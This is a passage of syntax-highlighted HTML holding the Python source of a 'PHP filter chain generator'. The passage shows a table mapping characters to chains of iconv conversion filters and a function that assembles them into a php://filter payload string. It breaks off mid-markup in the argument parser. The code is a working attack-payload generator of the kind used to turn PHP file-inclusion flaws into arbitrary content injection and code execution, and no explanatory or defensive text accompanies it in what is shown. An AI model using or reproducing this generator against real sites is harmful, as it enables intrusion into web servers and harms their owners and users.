style=\"color:#B56959;--shiki-dark:#C98A7D\">convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span></span>\n<span class=\"line\"><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">    '</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">M</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4|convert.iconv.UTF16BE.866|convert.iconv.MACUKRAINIAN.WCHAR_T</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span></span>\n<span class=\"line\"><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">    '</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">m</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.CP1163.CSA_T500|convert.iconv.UCS-2.MSCP949</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span></span>\n<span class=\"line\"><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">    '</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">N</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> '</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span></span>\n<span class=\"line\"><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">    '</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">n</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> '</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">convert.iconv.ISO88594.UTF16|convert.iconv.IBM5347.UCS4|convert.iconv.UTF32BE.MS936|convert.iconv.OSF00010004.T.61</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span></span>\n<span class=\"line\"><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">    '</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">O</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> '</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">convert.iconv.CSA_T500.UTF-32|convert.iconv.CP857.ISO-2022-JP-3|convert.iconv.ISO2022JP2.CP775</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span></span>\n<span class=\"line\"><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">    '</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">o</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> '</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-4LE.OSF05010001|convert.iconv.IBM912.UTF-16LE</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span></span>\n<span class=\"line\"><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">    '</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">P</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> '</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span></span>\n<span class=\"line\"><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">    '</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">p</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> '</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">convert.iconv.IBM891.CSUNICODE|convert.iconv.ISO8859-14.ISO6937|convert.iconv.BIG-FIVE.UCS-4</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span></span>\n<span class=\"line\"><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">    '</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">q</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> '</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.GBK.CP932|convert.iconv.BIG5.UCS2</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span></span>\n<span class=\"line\"><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">    '</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">Q</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> '</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500-1983.UCS-2BE|convert.iconv.MIK.UCS2</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span></span>\n<span class=\"line\"><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">    '</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">R</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> '</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span></span>\n<span class=\"line\"><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">    '</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">r</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> '</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.ISO-IR-99.UCS-2BE|convert.iconv.L4.OSF00010101</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span></span>\n<span class=\"line\"><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">    '</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">S</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> '</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.SJIS</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span></span>\n<span class=\"line\"><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">    '</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">s</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> '</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span></span>\n<span class=\"line\"><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">    '</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">T</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> '</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500.L4|convert.iconv.ISO_8859-2.ISO-IR-103</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span></span>\n<span class=\"line\"><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">    '</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">t</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> '</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">convert.iconv.864.UTF32|convert.iconv.IBM912.NAPLPS</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span></span>\n<span class=\"line\"><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">    '</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">U</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> '</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span></span>\n<span class=\"line\"><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">    '</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">u</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> '</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">convert.iconv.CP1162.UTF32|convert.iconv.L4.T.61</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span></span>\n<span class=\"line\"><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">    '</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">V</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> '</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span></span>\n<span class=\"line\"><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">    '</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">v</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> '</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.ISO-8859-14.UCS2</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span></span>\n<span class=\"line\"><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">    '</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">W</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> '</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span></span>\n<span class=\"line\"><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">    '</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">w</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> '</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span></span>\n<span class=\"line\"><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">    '</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">X</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> '</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span></span>\n<span class=\"line\"><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">    '</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">x</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> '</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span></span>\n<span class=\"line\"><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">    '</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">Y</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> '</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span></span>\n<span class=\"line\"><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">    '</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">y</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> '</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span></span>\n<span class=\"line\"><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">    '</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">Z</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> '</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span></span>\n<span class=\"line\"><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">    '</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">z</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> '</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span></span>\n<span class=\"line\"><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">    '</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">/</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> '</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.UCS2.UTF-8|convert.iconv.CSISOLATIN6.UCS-4</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span></span>\n<span class=\"line\"><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">    '</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">+</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> '</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">convert.iconv.UTF8.UTF16|convert.iconv.WINDOWS-1258.UTF32LE|convert.iconv.ISIRI3342.ISO-IR-157</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span></span>\n<span class=\"line\"><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">    '</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">=</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> ''</span></span>\n<span class=\"line\"><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#125;</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">def</span><span style=\"color:#59873A;--shiki-dark:#80A665\"> generate_filter_chain</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">chain</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> debug_base64 </span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">=</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\"> False</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">    encoded_chain </span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> chain</span></span>\n<span class=\"line\"><span style=\"color:#A0ADA0;--shiki-dark:#758575DD\">    # generate some garbage base64</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">    filters </span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> \"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">convert.iconv.UTF8.CSISO2022KR|</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">    filters </span><span style=\"color:#999999;--shiki-dark:#666666\">+=</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> \"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">convert.base64-encode|</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span></span>\n<span class=\"line\"><span style=\"color:#A0ADA0;--shiki-dark:#758575DD\">    # make sure to get rid of any equal signs in both the string we just generated and the rest of the file</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">    filters </span><span style=\"color:#999999;--shiki-dark:#666666\">+=</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> \"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">convert.iconv.UTF8.UTF7|</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">    for</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> c </span><span style=\"color:#1E754F;--shiki-dark:#4D9375\">in</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> encoded_chain</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">[</span><span style=\"color:#999999;--shiki-dark:#666666\">::</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">-</span><span style=\"color:#2F798A;--shiki-dark:#4C9A91\">1</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">]</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">        filters </span><span style=\"color:#999999;--shiki-dark:#666666\">+=</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> conversions</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">[</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">c</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">]</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\"> +</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> \"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">|</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span></span>\n<span class=\"line\"><span style=\"color:#A0ADA0;--shiki-dark:#758575DD\">        # decode and reencode to get rid of everything that isn't valid base64</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">        filters </span><span style=\"color:#999999;--shiki-dark:#666666\">+=</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> \"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">convert.base64-decode|</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">        filters </span><span style=\"color:#999999;--shiki-dark:#666666\">+=</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> \"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">convert.base64-encode|</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span></span>\n<span class=\"line\"><span style=\"color:#A0ADA0;--shiki-dark:#758575DD\">        # get rid of equal signs</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">        filters </span><span style=\"color:#999999;--shiki-dark:#666666\">+=</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> \"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">convert.iconv.UTF8.UTF7|</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">    if</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\"> not</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> debug_base64</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span></span>\n<span class=\"line\"><span style=\"color:#A0ADA0;--shiki-dark:#758575DD\">        # don't add the decode while debugging chains</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">        filters </span><span style=\"color:#999999;--shiki-dark:#666666\">+=</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> \"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">convert.base64-decode</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">    final_payload </span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\"> f</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">\"php://filter/</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#123;</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">filters</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#125;</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">/resource=</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#123;</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">file_to_use</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#125;</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">\"</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">    return</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> final_payload</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">def</span><span style=\"color:#59873A;--shiki-dark:#80A665\"> main</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#A0ADA0;--shiki-dark:#758575DD\">    # Parsing command line arguments</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">    parser </span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> argparse</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">ArgumentParser</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">description</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">PHP filter chain generator.</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">    parser</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">add_argument</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">--chain</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\"> help</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">Content you want to generate. (you will maybe need to pad with spaces for your payload to work)</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span><span 